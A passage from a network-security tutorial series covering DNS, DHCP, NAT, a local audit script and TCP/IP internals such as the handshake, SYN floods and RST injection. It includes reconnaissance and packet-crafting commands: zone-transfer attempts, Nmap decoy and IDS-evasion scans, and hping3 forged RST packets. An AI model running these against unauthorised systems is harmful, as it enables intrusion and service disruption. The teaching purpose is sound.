NS=$(dig NS $TARGET +short | head -1)
dig axfr @$NS $TARGET 2>&1 | head -5
# Should fail with "Transfer failed" — success would be a misconfiguration

echo "=== Subdomain Enumeration (passive) ==="
# Using certificate transparency logs (no active scanning):
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" 2>/dev/null | \
    python3 -c "
import json, sys
data = json.load(sys.stdin)
names = set()
for cert in data:
    for name in cert.get('name_value', '').split('\n'):
        if name.endswith('.$TARGET'.replace('cloudflare.com', '')):
            names.add(name.strip())
for name in sorted(names)[:20]:
    print(name)
" 2>/dev/null || echo "crt.sh query failed"

echo "=== DNSSEC Check ==="
dig +dnssec A $TARGET | grep -E "RRSIG|AD flag" || echo "DNSSEC info check"

echo "=== Reverse DNS on Found IPs ==="
for ip in $(dig A $TARGET +short); do
    ptr=$(dig -x $ip +short 2>/dev/null)
    echo "$ip → $ptr"
done

Exercise 3: DHCP Analysis (30 minutes)

# Capture and analyse DHCP traffic

# Start DHCP capture:
sudo tcpdump -i eth0 -n -v 'port 67 or port 68' &
TCPDUMP_PID=$!

# Trigger DHCP renewal:
sudo dhclient -v -r eth0 2>&1          # Release
sleep 1
sudo dhclient -v eth0 2>&1            # Renew

sleep 5
kill $TCPDUMP_PID 2>/dev/null

# Questions to answer from the capture:
echo "=== DHCP Analysis Questions ==="
echo "1. What is the DHCP server IP?"
echo "2. What IP was offered to you?"
echo "3. What is the default gateway option?"
echo "4. What DNS servers were provided?"
echo "5. What is the lease time in seconds? In hours?"
echo "6. What is the subnet mask?"
echo "7. What Transaction ID was used? (Shows request-response matching)"

# Check current DHCP lease:
cat /var/lib/dhclient/dhclient.leases 2>/dev/null || \
cat /var/lib/NetworkManager/dhclient-*.conf 2>/dev/null || \
nmcli device show eth0 2>/dev/null | grep DHCP

Exercise 4: NAT and IP Masquerading (30 minutes)

# Configure Linux as a NAT router between two interfaces
# (Requires two network interfaces — suitable for VM lab)

# Identify interfaces:
ip link show

# Enable IP forwarding:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Configure NAT (masquerade):
# Assume: eth0 is WAN (internet side), eth1 is LAN (internal)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

# Verify NAT table:
sudo iptables -t nat -L -n -v

# Test from a client on eth1 side:
# Client should be able to reach internet through this machine

# Enable NAT logging (critical for forensics):
sudo iptables -t nat -A POSTROUTING -o eth0 -j LOG --log-prefix "NAT: " --log-level 6
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# View NAT log:
sudo dmesg | grep "NAT:"
# Or: journalctl -k | grep "NAT:"

# View current NAT connections:
sudo conntrack -L 2>/dev/null    # Requires conntrack package
# Shows all active NAT translations in real time

Exercise 5: Complete Network Audit Script

# Build a network audit script that combines all concepts from this module

cat > /tmp/network_audit.sh << 'EOF'
#!/bin/bash
# Network Security Audit — Stage 1.4 Exercise
# Collects network configuration and highlights security concerns

echo "===== NETWORK SECURITY AUDIT ====="
echo "Timestamp: $(date)"
echo ""

echo "--- Interfaces and Addresses ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- Default Gateway ---"
ip route | grep default
echo ""

echo "--- ARP Cache (recently seen hosts) ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Active Connections ---"
ss -tulnp | head -20
echo ""

echo "--- DHCP Lease ---"
cat /var/lib/dhclient/dhclient.leases 2>/dev/null | grep -E "lease|fixed-address|routers|domain-name-servers" | head -10
echo ""

echo "--- Security Checks ---"

# Check for RFC1918 addresses:
echo "RFC1918 interfaces:"
ip addr | grep -oE '(10|172\.(1[6-9]|2[0-9]|3[01])|192\.168)\.[0-9]+\.[0-9]+/[0-9]+'

# Check IP forwarding:
fwd=$(cat /proc/sys/net/ipv4/ip_forward)
[ "$fwd" = "1" ] && echo "[!] IP FORWARDING ENABLED — is this machine a router?" || echo "[OK] IP forwarding disabled"

# Check ICMP redirect acceptance:
redir=$(cat /proc/sys/net/ipv4/conf/all/accept_redirects)
[ "$redir" = "1" ] && echo "[!] ICMP REDIRECTS ACCEPTED — potential route hijack risk" || echo "[OK] ICMP redirects disabled"

# Check for unusual listening services:
echo ""
echo "Listening on all interfaces (0.0.0.0 or :::):"
ss -tlnp | grep -E "0\.0\.0\.0|:::"

echo ""
echo "===== AUDIT COMPLETE ====="
EOF
chmod +x /tmp/network_audit.sh
bash /tmp/network_audit.sh

16. Module Summary

Concept	Core Mechanism	Attack Relevance	Defence
IPv4 Binary	32-bit number in dotted-decimal	Foundation of all addressing calculations	Must understand for subnet design and firewall rules
Address Classes	Historical classful boundaries	Legacy OT devices may use class defaults	Know class defaults to diagnose legacy device issues
Public vs Private	RFC 1918 ranges never routed publicly	IP spoofing detection, cloud metadata SSRF	BCP38 filtering, restrict metadata service access
Cloud Metadata	169.254.169.254 serves cloud credentials	SSRF → metadata → credential theft (Capital One 2019)	IMDSv2, firewall metadata endpoint, least-privilege IAM
CIDR	Variable prefix length, replaces classful	Scope definition for scans, subnet calculation	Design minimal subnets, audit CIDR firewall rules
Subnet Mask	Binary AND determines network vs host	Network boundary calculation, routing decisions	Correct mask prevents unintended reachability
Subnetting	Dividing address space into segments	Lateral movement: routing tables reveal all subnets	Segmentation reduces blast radius of any compromise
VLSM	Different prefix lengths per subnet	Efficient segmentation design	Right-size each zone, isolate OT with dedicated subnets
NAT	IP translation via state table	NAT hides source for forensics, C2 bypasses NAT	Log all NAT translations — required for incident response
PAT	Port-based multiplexing of many-to-one	Port exhaustion DoS, forensic attribution challenges	Enable NAT logging, track source ports
DHCP	Automatic IP assignment via DORA	Starvation, rogue server → MITM, Option 121 TunnelVision	DHCP snooping, trusted port designation
DNS Resolution	Hierarchical recursive lookup	Cache poisoning, DNS tunnelling, C2 via DNS	DNSSEC, DoH/DoT, DNS monitoring
DNS Attacks	Cache poisoning, tunnelling, takeover	C2 over DNS, data exfiltration, phishing	Query rate monitoring, DNSSEC validation, TTL anomaly detection
A/AAAA records	Hostname to IP mapping	Cache poisoning target	DNSSEC, monitor for unexpected changes
MX records	Mail server identification	Target for email infrastructure attacks	Firewall, SPF/DKIM/DMARC
CNAME records	Alias to another hostname	Subdomain takeover via dangling CNAME	Audit all CNAMEs, remove stale entries
TXT records	Arbitrary text (SPF, DKIM, DMARC)	Missing SPF/DMARC → email spoofing	p=reject DMARC + SPF -all + DKIM
NS records	Authoritative nameservers	NS compromise → total DNS control	Secure registrar, DNSSEC, monitor NS changes
PTR records	Reverse DNS	Reconnaissance, mail rejection without PTR	Maintain PTR records, use for anomaly detection
SRV records	Service location (AD)	AD enumeration without scanning	Monitor SRV queries for reconnaissance patterns
OT Addressing	Mostly static, flat networks common	Static IPs predictable, flat = lateral movement	Segmentation with VLSM, passive-only asset discovery

Next Module: Stage 1.5 — Core Protocols

Previous Module: Stage 1.3 — TCP/IP Model

Series Index: Full Roadmap

This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.

Stage 1.3 — TCP/IP Model

Rençber AKMAN — Mon, 01 Jun 2026 10:05:12 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.3 — TCP/IP Model

Level: Beginner → Advanced

Prerequisites: Stage 1.2 — OSI Model

Next Module: 1.4 — IP Addressing and Subnetting

Why TCP/IP Is the Foundation of Every Attack and Defence
TCP/IP Model — Four Layers, One Internet
TCP vs UDP — The Fundamental Choice
TCP Three-Way Handshake — Deep Dive
TCP Four-Way Termination
TCP Internals — What Textbooks Skip
IPv4 Addressing
IPv6 Fundamentals
ICMP — The Network's Diagnostic Layer
ARP — Address Resolution Protocol
Putting It All Together — A Complete Packet's Journey
TCP/IP in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why TCP/IP Is the Foundation of Every Attack and Defence

TCP/IP is not a topic you study and move past. It is the substrate on which every network interaction in your career will happen. Every shell you catch, every packet you capture, every firewall rule you write, every alert you investigate — it all lives inside TCP/IP.

Concrete career examples:

When you run Metasploit and set LHOST and LPORT, you are configuring a TCP or UDP listener at the IP layer. When your reverse shell connects back, it initiates a TCP three-way handshake. When you lose the shell because the target rebooted, the TCP connection terminated via RST or timeout.

When you use Wireshark to analyse a suspected C2 beacon, you are looking at TCP streams. The beacon's timing, payload size, and connection frequency are all visible in TCP/IP metadata — even when the payload is encrypted.

When a SOC analyst sees "port 4444 outbound to 185.220.x.x," they know: that is TCP, that is Metasploit's default listener port, and that is a Tor exit node IP range. All of that reasoning comes from knowing TCP/IP deeply.

When an OT engineer says "the PLC stopped responding," the first question is: is it a Layer 3 (IP routing) problem, a Layer 4 (TCP connection state) problem, or a Layer 7 (Modbus application) problem? You cannot answer that without knowing TCP/IP.

The security reality: TCP/IP was designed in the 1970s-80s for a cooperative research network. Authentication was not a design requirement. Every IP address can be spoofed. Every TCP connection can be reset by a third party. ARP has no authentication. ICMP can be used to map networks and crash systems. These are not bugs — they are the protocol as designed. Understanding these properties is what allows you to exploit them offensively and defend against their exploitation defensively.

2. TCP/IP Model — Four Layers, One Internet

2.1 The Model

The TCP/IP model (also called the DoD model — Department of Defense, which funded its development) describes how internet protocols are organised. Unlike OSI's seven layers, TCP/IP uses four:

┌─────────────────────────────────────────────────────────────┐
│  Layer 4 — Application                                      │
│  HTTP, HTTPS, DNS, SMTP, FTP, SSH, Telnet, SNMP,           │
│  Modbus TCP, DNP3, IEC 60870-5-104, OPC-UA                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 3 — Transport                                        │
│  TCP (port-to-port, reliable)                               │
│  UDP (port-to-port, unreliable)                             │
│  SCTP, QUIC                                                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 2 — Internet                                         │
│  IPv4, IPv6                                                 │
│  ICMP, ICMPv6                                               │
│  IPSec (AH, ESP)                                           │
├─────────────────────────────────────────────────────────────┤
│  Layer 1 — Network Access (Link)                            │
│  Ethernet, Wi-Fi (802.11), ARP                             │
│  Physical medium: copper, fibre, radio                      │
└─────────────────────────────────────────────────────────────┘

2.2 OSI vs TCP/IP — The Mapping Every Professional Needs

OSI Layer          OSI Name        TCP/IP Layer     TCP/IP Name
─────────────────────────────────────────────────────────────
7                  Application   ─┐
6                  Presentation  ─┼──────────────→  Application
5                  Session       ─┘
4                  Transport      ─────────────→   Transport
3                  Network        ─────────────→   Internet
2                  Data Link     ─┐
1                  Physical      ─┴─────────────→  Network Access

Why this matters: Security tools, CVEs, and documentation reference both models. A vulnerability described as "L4 TCP RST injection" and one described as "transport layer attack" mean the same thing. An "L3 routing attack" is an "Internet layer attack" in TCP/IP terms. You must translate fluently between both.

2.3 The Internet Layer — The Core of TCP/IP

The Internet layer (IP) is what makes the internet work. It provides:

Logical addressing: IP addresses identify hosts globally
Routing: Packets are forwarded hop-by-hop toward the destination
Fragmentation: Large packets split to fit link MTU
Connectionless delivery: No guarantees — best effort

IP's lack of guarantees is intentional. Reliability, ordering, and error correction are pushed up to the Transport layer (TCP) or the application. This separation of concerns made the internet scalable — routers only need to forward packets, not maintain state for every connection.

3. TCP vs UDP — The Fundamental Choice

3.1 The Design Philosophy

TCP and UDP represent two fundamentally different answers to the question: "How should we move data between applications?"

TCP answer: "Reliably. I will guarantee every byte arrives, in order,
             exactly once. I will establish a connection first, track
             what was sent, retransmit what was lost, and signal when
             I'm done. Cost: overhead, latency, connection state."

UDP answer: "As fast as possible. I will send the data and forget it.
             No connection setup. No tracking. No retransmission.
             If it arrives, great. If not, the application deals with it.
             Cost: no reliability guarantees."

3.2 TCP — Transmission Control Protocol

Header structure (20 bytes minimum):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│                    Sequence Number                             │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                 Acknowledgement Number                         │  4 bytes
├────────┬───────┬─┬─┬─┬─┬─┬─┬─┬─┬───────────────────────────┤
│  Data  │Reserv.│C│E│U│A│P│R│S│F│        Window Size         │  4 bytes
│ Offset │       │W│C│R│C│S│S│Y│I│                            │
│        │       │R│E│G│K│H│T│N│N│                            │
├────────┴───────┴─┴─┴─┴─┴─┴─┴─┴─┴───────────────────────────┤
│           Checksum             │       Urgent Pointer         │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                    Options (variable)                          │  0-40 bytes
└───────────────────────────────────────────────────────────────┘

Critical fields and their security relevance:

Source Port / Destination Port (16 bits each):

Identify which application is communicating
Source port on clients: ephemeral (49152-65535 typically)
Destination port identifies the service: 22=SSH, 80=HTTP, 443=HTTPS, 502=Modbus
Security: Firewall rules filter on port numbers. Port scanning (Nmap) determines which ports have listening services. Port spoofing is possible but doesn't affect server-side port allocation.

Sequence Number (32 bits):

Tracks position in the byte stream
Initial Sequence Number (ISN) is random (per RFC 6528 — cryptographically random to prevent prediction)
Each byte of data sent increments the sequence number
Security: Historical predictable ISNs enabled TCP session hijacking. Mitnick's 1994 attack against Tsutomu Shimomura predicted ISNs to forge TCP connections. Modern OSes use random ISNs, but weak ISN generation (CVE-2001-0751, others) has recurred.

Acknowledgement Number (32 bits):

Next expected byte from the other side
"I have received everything up to byte N, send me byte N+1 next"

Flags (9 bits):

CWR: Congestion Window Reduced
ECE: ECN-Echo (explicit congestion notification)
URG: Urgent pointer valid
ACK: Acknowledgement field valid — set on all packets after handshake
PSH: Push — deliver data to application immediately, don't buffer
RST: Reset — abort connection immediately
SYN: Synchronise — initiate connection (ISN negotiation)
FIN: Finish — no more data from sender (graceful close)

Window Size (16 bits):

How many bytes the receiver is willing to accept before requiring acknowledgement
TCP flow control mechanism
Security: Window size is an OS fingerprinting signal. Linux, Windows, and macOS use different default window sizes and scaling factors. Nmap uses window size as part of OS detection.

TCP Options (variable):

Common TCP options:
  MSS (Maximum Segment Size): Maximum TCP payload per segment
                               Typically 1460 bytes (1500 MTU - 20 IP - 20 TCP)
  Window Scale: Multiplier for window size (enables large windows)
  SACK (Selective Acknowledgement): Acknowledge non-contiguous data
  Timestamps: Used for RTT measurement and PAWS (Protection Against Wrapped Seq.)
  No-Operation (NOP): Padding

Security: TCP options reveal OS. The combination of MSS, window scale,
SACK support, and timestamp presence is a reliable OS fingerprint.
Nmap's -O flag uses this — as does passive fingerprinting (p0f).

3.3 UDP — User Datagram Protocol

Header structure (8 bytes — fixed):

┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│           Length           │           Checksum               │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                         Data                                   │
└───────────────────────────────────────────────────────────────┘

UDP has no:

Sequence numbers (no ordering)
Acknowledgements (no reliability)
Flow control (no congestion management)
Connection state (no handshake)

When UDP is correct:

Use Case	Why UDP	Example Protocols
DNS queries	Single request/response, retry easy	DNS (UDP 53)
Real-time media	Latency more important than reliability	VoIP, video streaming
Time synchronisation	Precision more important than reliability	NTP (UDP 123)
Network management	Simple request/response	SNMP (UDP 161)
Tunnelling protocols	Custom reliability at higher layer	WireGuard, QUIC
Multicast/Broadcast	TCP cannot multicast	DHCP, mDNS, SSDP
Industrial real-time	Sub-millisecond timing requirements	PROFINET RT, EtherNet/IP

3.4 TCP vs UDP Security Comparison

Attack                      TCP        UDP       Notes
─────────────────────────────────────────────────────────────────
IP Spoofing               Limited    Effective  TCP requires handshake; UDP fire-and-forget
Amplification DDoS         No        YES        UDP has no handshake; responses sent to victim
SYN Flood                  YES       No         TCP-specific: half-open connection exhaustion
Port Scanning             Easy       Harder     TCP RST/SYN-ACK indicates open; UDP needs app response
Session Hijacking          YES       Stateless  TCP has sessions; UDP doesn't
Man-in-the-Middle          YES       YES        Both can be intercepted
C2 Communication          Common    Common      Depends on operational requirements
Firewall Bypass           Harder    Easier      Stateful firewalls track TCP; UDP often loosely filtered

# Identify TCP vs UDP ports in a capture
sudo tcpdump -i eth0 -n 'tcp' -c 20      # TCP traffic only
sudo tcpdump -i eth0 -n 'udp' -c 20      # UDP traffic only

# Nmap: scan both TCP and UDP
sudo nmap -sS 192.168.1.1               # TCP SYN scan (fast, stealthy)
sudo nmap -sU 192.168.1.1               # UDP scan (slower, requires responses)
sudo nmap -sS -sU -p T:80,443,22,U:53,161,123 192.168.1.1  # Both protocols

# See all open TCP/UDP ports on local system
ss -tulnp                               # TCP+UDP listening with process names
ss -t state established                 # Established TCP connections

Key Insight: The choice between TCP and UDP is a security decision, not just a performance one. UDP-based services are harder to firewall correctly (stateless), more susceptible to spoofing-based attacks, and are the mechanism behind virtually every large-scale DDoS amplification attack. Every time you see UDP on a port that isn't expected, it deserves investigation.

4. TCP Three-Way Handshake — Deep Dive

4.1 The Mechanics

CLIENT                                         SERVER
  │                                              │
  │  ──── [SYN] seq=ISN_c ──────────────────→   │
  │       Flags: SYN                             │
  │       Seq:   100 (random ISN)               │
  │       Ack:   0 (not yet)                    │
  │       Window: 65535                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ←─── [SYN-ACK] seq=ISN_s, ack=ISN_c+1 ───  │
  │       Flags: SYN, ACK                        │
  │       Seq:   500 (server's random ISN)      │
  │       Ack:   101 (client's ISN + 1)        │
  │       Window: 28960                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ──── [ACK] seq=ISN_c+1, ack=ISN_s+1 ──→   │
  │       Flags: ACK                             │
  │       Seq:   101                            │
  │       Ack:   501 (server's ISN + 1)        │
  │                                              │
  │  ══════════ [CONNECTION ESTABLISHED] ══════  │
  │                                              │
  │  ──── [PSH,ACK] DATA ───────────────────→   │
  │  ←─── [ACK] ──────────────────────────────  │

Why three packets, not two?

Two-way handshake (SYN → SYN-ACK) would only confirm that the client can reach the server and that the server can send back. It does not confirm that the server's response can reach the client. The third ACK confirms bidirectional communication.

More importantly, the three-way handshake establishes two independent sequence number spaces — one for each direction. The client's ISN is acknowledged by the server's ACK, and the server's ISN is acknowledged by the client's final ACK. This is why it requires three messages.

4.2 ISN — Initial Sequence Number Security

The ISN is the single most security-critical field in the TCP handshake. Historically:

Pre-1996 implementations:
Many early TCP stacks incremented the global ISN counter by a fixed amount per second. An attacker could:

Connect to the target legitimately to observe the current ISN
Predict the ISN the target would use for the next connection
Forge a TCP connection by sending SYN with spoofed source IP, then complete the handshake using the predicted ISN
Inject data into a trust relationship (e.g., impersonate a trusted host)

This is exactly what Kevin Mitnick did in his 1994 attack on Tsutomu Shimomura's machines — he exploited predictable ISNs over a Christmas weekend to hijack a TCP session and access Shimomura's files.

Modern ISN generation (RFC 6528, 2012):

ISN = M + F(localhost, localport, remotehost, remoteport, secret_key)

M = 4-microsecond timer (prevents wrapping)
F = hash function (typically MD5 or SipHash)
secret_key = random value generated at system boot

Result: ISN appears random for each new connection,
        cannot be predicted without knowing the secret key,
        but can be reproduced for retransmission purposes

# Observe ISN randomisation in practice
# Connect three times and compare SYN sequence numbers:

python3 << 'EOF'
import socket, struct

for i in range(3):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('google.com', 80))
    # Get local port assigned by OS
    local_port = s.getsockname()[1]
    print(f"Connection {i+1}: local port {local_port}")
    s.close()
# Each connection uses different source port and different ISN
# Capture with tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' to see ISNs
EOF

# Capture SYN packets and extract sequence numbers
sudo tcpdump -i eth0 -n 'tcp[tcpflags] & tcp-syn != 0 and not tcp[tcpflags] & tcp-ack != 0' \
    -X 2>/dev/null | grep -A2 "Flags \[S\]"

4.3 SYN Flood Attack — Exploiting the Handshake State

The three-way handshake requires the server to allocate state after receiving the first SYN — before the handshake is complete. This is the foundation of the SYN flood attack.

Normal handshake state machine on server:
  CLOSED → LISTEN → SYN_RECEIVED → ESTABLISHED

SYN flood:
  Attacker sends thousands of SYN packets per second
  Server allocates entry in connection table for each (SYN_RECEIVED state)
  Server sends SYN-ACK to source IP (often spoofed — no response comes back)
  Connection remains half-open, consuming memory
  After timeout (~75 seconds default), half-open connection is removed
  But attacker sends new SYNs faster than timeouts clear old ones
  Connection table fills → new legitimate connections rejected → DoS

Connection table limits:
  Linux: /proc/sys/net/ipv4/tcp_max_syn_backlog (default: 256-1024)
  Windows: Configurable, typically 200 per port

SYN Cookies — The Defence:

SYN Cookie algorithm (RFC 4987):
  When under attack (or always, in some implementations):

  1. Server receives SYN
  2. Server does NOT allocate state
  3. Server computes cookie = HMAC(srcIP, srcPort, dstIP, dstPort, secret, timestamp)
  4. Server sends SYN-ACK with cookie as the sequence number
  5. If legitimate client completes handshake, sends ACK with ack_number = cookie + 1
  6. Server verifies cookie in the ACK — valid means legitimate client
  7. Server allocates connection state ONLY for verified connections

Result: Server has zero state for half-open connections
        SYN flood has no effect — no state to exhaust

Tradeoff: TCP options (SACK, timestamps, window scaling) cannot be stored
          in the cookie; lost if SYN cookies are triggered
          Modern implementations encode some options in cookie bits

Check SYN cookie status:
cat /proc/sys/net/ipv4/tcp_syncookies
# 0 = disabled
# 1 = enabled when under attack (default on modern Linux)
# 2 = always enabled

# Monitor SYN flood detection:
watch -n 1 'netstat -s | grep -i "syn"'
# SYNs to LISTEN sockets dropped: counter increases during flood

4.4 Port Scanning — Abusing the Handshake

Different TCP flag combinations reveal different information about a port:

Nmap scan types and their mechanics:

TCP Connect Scan (-sT):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [ACK] → [RST] → disconnect
  Closed port:  Server → [RST] → Client
  Filtered:     No response (firewall drops)
  Advantage: Works as unprivileged user
  Disadvantage: Noisy — completes full handshake, logged by target

SYN Scan / Half-Open Scan (-sS):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [RST] (never completes)
  Closed port:  Server → [RST]
  Filtered:     No response
  Advantage: Faster, stealthier — many services don't log incomplete handshakes
  Disadvantage: Requires root/admin (raw socket access)
  THIS IS NMAP'S DEFAULT WHEN RUN AS ROOT

FIN Scan (-sF):
  Client → [FIN] → Server
  Open port:    Server → [no response] (RFC 793: ignore unexpected FIN)
  Closed port:  Server → [RST]
  Use: Bypass stateless firewalls that only block SYN packets

XMAS Scan (-sX):
  Client → [FIN, URG, PSH] → Server
  Same response as FIN scan
  Named "XMAS" because all flags lit up like a Christmas tree

NULL Scan (-sN):
  Client → [no flags] → Server
  Same response as FIN scan

ACK Scan (-sA):
  Client → [ACK] → Server
  Used to map FIREWALL RULES, not port states
  Both open and closed ports respond with RST
  Filtered = no response (firewall drops ACK packets)

Window Scan (-sW):
  Sends ACK packets, examines TCP window size in RST response
  Some systems use non-zero window for open ports, zero for closed
  OS-dependent and unreliable

# Common Nmap usage for TCP analysis:
sudo nmap -sS -p- 192.168.1.100               # All 65535 ports, SYN scan
sudo nmap -sS -sV -p 22,80,443,502 192.168.1.100  # Version detection on specific ports
sudo nmap -sS -O 192.168.1.100                # OS detection (uses TCP/IP fingerprinting)
sudo nmap -sS --scan-delay 1s 192.168.1.100   # Slow scan to evade rate-limit detection
sudo nmap -sS -D RND:10 192.168.1.100         # Decoy scan (mix real scan with fake source IPs)

# Timing templates (T0=paranoid, T5=insane):
sudo nmap -T4 -sS 192.168.1.0/24             # Aggressive timing for LAN scanning
sudo nmap -T1 -sS 192.168.1.100              # Slow, evade IDS timing detection

# Capture the SYN scan traffic to understand what it looks like:
sudo tcpdump -i eth0 -n 'host 192.168.1.100 and tcp' &
sudo nmap -sS 192.168.1.100
# Observe: rapid SYN packets, RST responses for closed, SYN-ACK for open

Key Insight: The TCP three-way handshake is simultaneously the mechanism that makes TCP reliable AND the mechanism that makes SYN flood attacks possible. SYN cookies elegantly resolve this tension by deferring state allocation until connection completion. Understanding exactly what state is allocated where and when is the foundation of both DoS attacks and their mitigations.

5. TCP Four-Way Termination

5.1 Graceful Connection Close

TCP connections are full-duplex — data can flow in both directions simultaneously. Closing a TCP connection requires closing each direction independently, which is why it requires four messages instead of three:

CLIENT                                         SERVER
  │                                              │
  │  ──── [FIN, ACK] seq=x ─────────────────→   │  Client: "Done sending"
  │                                              │
  │  ←─── [ACK] ack=x+1 ──────────────────────  │  Server: "Got your FIN"
  │                                              │  [Server may still be sending data]
  │                                              │
  │  ←─── [FIN, ACK] seq=y ───────────────────  │  Server: "Done sending too"
  │                                              │
  │  ──── [ACK] ack=y+1 ────────────────────→   │  Client: "Got your FIN"
  │                                              │
  │  [TIME_WAIT: 2×MSL seconds]                 │  [CLOSED]
  │  [CLOSED after TIME_WAIT]                   │

TIME_WAIT state:
After sending the final ACK, the client enters TIME_WAIT for 2×MSL (Maximum Segment Lifetime, typically 60-120 seconds). This ensures:

The final ACK reached the server (if it was lost, server resends FIN and client can re-ACK)
Old duplicate packets from the connection cannot confuse a new connection using the same 4-tuple

Security implication of TIME_WAIT:
TIME_WAIT exhaustion is a DoS attack vector. By rapidly opening and closing connections, an attacker can fill the source port space (65535 ephemeral ports) with TIME_WAIT sockets, preventing new outbound connections.

# Count connections by state
ss -tan | awk '{print $1}' | sort | uniq -c | sort -rn
# or:
netstat -tan | awk '{print $6}' | sort | uniq -c | sort -rn

# States you'll see:
# ESTABLISHED: Active connections
# TIME_WAIT:   Waiting for network stragglers after close
# CLOSE_WAIT:  Remote end sent FIN, waiting for local application to close
# SYN_SENT:    Sent SYN, waiting for SYN-ACK
# SYN_RECEIVED: Got SYN, sent SYN-ACK, waiting for ACK
# LISTEN:      Waiting for incoming connections
# FIN_WAIT_1:  Sent FIN, waiting for ACK
# FIN_WAIT_2:  Got ACK for FIN, waiting for remote FIN
# LAST_ACK:    Sent FIN after CLOSE_WAIT, waiting for ACK
# CLOSING:     Both sides sent FIN simultaneously

# If you see thousands of TIME_WAIT: normal for busy web servers
# If you see growing SYN_RECEIVED: possible SYN flood
# If you see growing CLOSE_WAIT: application not closing sockets properly (bug)
# If you see unusual ESTABLISHED connections: potential backdoors

5.2 RST — Abrupt Connection Reset

RST (Reset) immediately terminates a connection without the four-way handshake. The receiving side discards any unacknowledged data and removes connection state immediately.

RST is sent by:

A port that has no listening service (response to SYN on closed port)
A system receiving a packet for a non-existent connection
A system that wants to abort a connection immediately

RST injection attack:
An attacker who knows the current sequence number of an established TCP connection can forge a RST packet that terminates the connection. Sequence number guessing was historically easy on predictable ISN implementations.

RST injection use cases:
1. Network censorship: "Great Firewall of China" injects TCP RST packets
   to terminate connections to blocked content
   Tools: nmap can detect RST injection by comparing responses from different
   vantage points — discrepancies indicate path-level RST injection

2. Intrusion Prevention: IPS devices inject RST to both ends of a connection
   to terminate detected attack traffic

3. Offensive: Terminate an ongoing session between two victims (DoS)

4. Testing: Verify firewall blocks — does a blocked connection receive RST
   (firewall rejects) or nothing (firewall drops silently)?

# hping3 — craft specific TCP packets
sudo hping3 -S -p 80 -c 3 192.168.1.1           # Send 3 SYN to port 80
sudo hping3 -R -p 80 192.168.1.1                # Send RST to port 80
sudo hping3 -A -p 80 192.168.1.1                # Send ACK (firewall mapping)
sudo hping3 -F -p 80 192.168.1.1                # Send FIN (FIN scan)
sudo hping3 -SA -p 80 192.168.1.1               # SYN+ACK (unusual)

# Detect RST injection in Wireshark:
# Filter: tcp.flags.reset == 1
# Compare RST TTLs with expected TTL from destination
# If RST TTL differs significantly from normal responses, RST was injected
# by an intermediate device (firewall, IPS, censor)

6. TCP Internals — What Textbooks Skip

6.1 TCP Flow Control — The Sliding Window

Flow control prevents a fast sender from overwhelming a slow receiver. The receiver advertises how much buffer space it has (the window size), and the sender limits outstanding unacknowledged data to this window.

Window size = how many bytes receiver can accept without ACK

Sender                          Receiver (window = 4 bytes)
  │                               │ [Buffer: _ _ _ _] (4 empty slots)
  │──── Bytes 1-4 ──────────────→ │ [Buffer: 1 2 3 4] (full)
  │                               │
  │ ←── ACK 5, Window=4 ────────  │ [Buffer: _ _ _ _] (processed, empty)
  │──── Bytes 5-8 ──────────────→ │
  ...

Window scaling (RFC 7323):
  16-bit window field max: 65,535 bytes
  Over fast WAN links, this limits throughput
  Window Scale option multiplies window size by 2^shift_count
  Maximum effective window: 65535 × 2^14 = ~1 GB

Security implication:
Zero Window Attack: An attacker who can manipulate the receiver into advertising a zero window keeps the sender blocked indefinitely. The sender enters "persist" state, sending small "window probe" packets waiting for the window to open. This can cause connection-level DoS without flooding.

6.2 TCP Congestion Control

TCP automatically adapts to network congestion through four algorithms:

Slow Start:
  Start with small congestion window (cwnd = 1 MSS)
  Double cwnd each RTT until threshold (ssthresh)
  "Exponential growth"

Congestion Avoidance:
  After ssthresh, increase cwnd by 1 MSS per RTT
  "Linear growth"

Fast Retransmit:
  3 duplicate ACKs = probable packet loss (not timeout)
  Retransmit immediately without waiting for timeout

Fast Recovery:
  After fast retransmit, halve ssthresh and cwnd
  Resume congestion avoidance (not slow start)

Security relevance: TCP congestion control can be exploited:

ACK throttling: Send ACKs slowly to the sender, reducing its throughput
Spurious retransmissions: Cause the sender to believe packets were lost, triggering congestion response
Delayed ACK manipulation: Exploit TCP's delayed ACK optimisation to affect throughput

6.3 TCP Keepalive

TCP keepalive probes are periodic empty ACK packets sent on idle connections to verify the other end is still alive.

# Linux TCP keepalive settings:
cat /proc/sys/net/ipv4/tcp_keepalive_time      # 7200 (seconds before first probe)
cat /proc/sys/net/ipv4/tcp_keepalive_intvl     # 75 (seconds between probes)
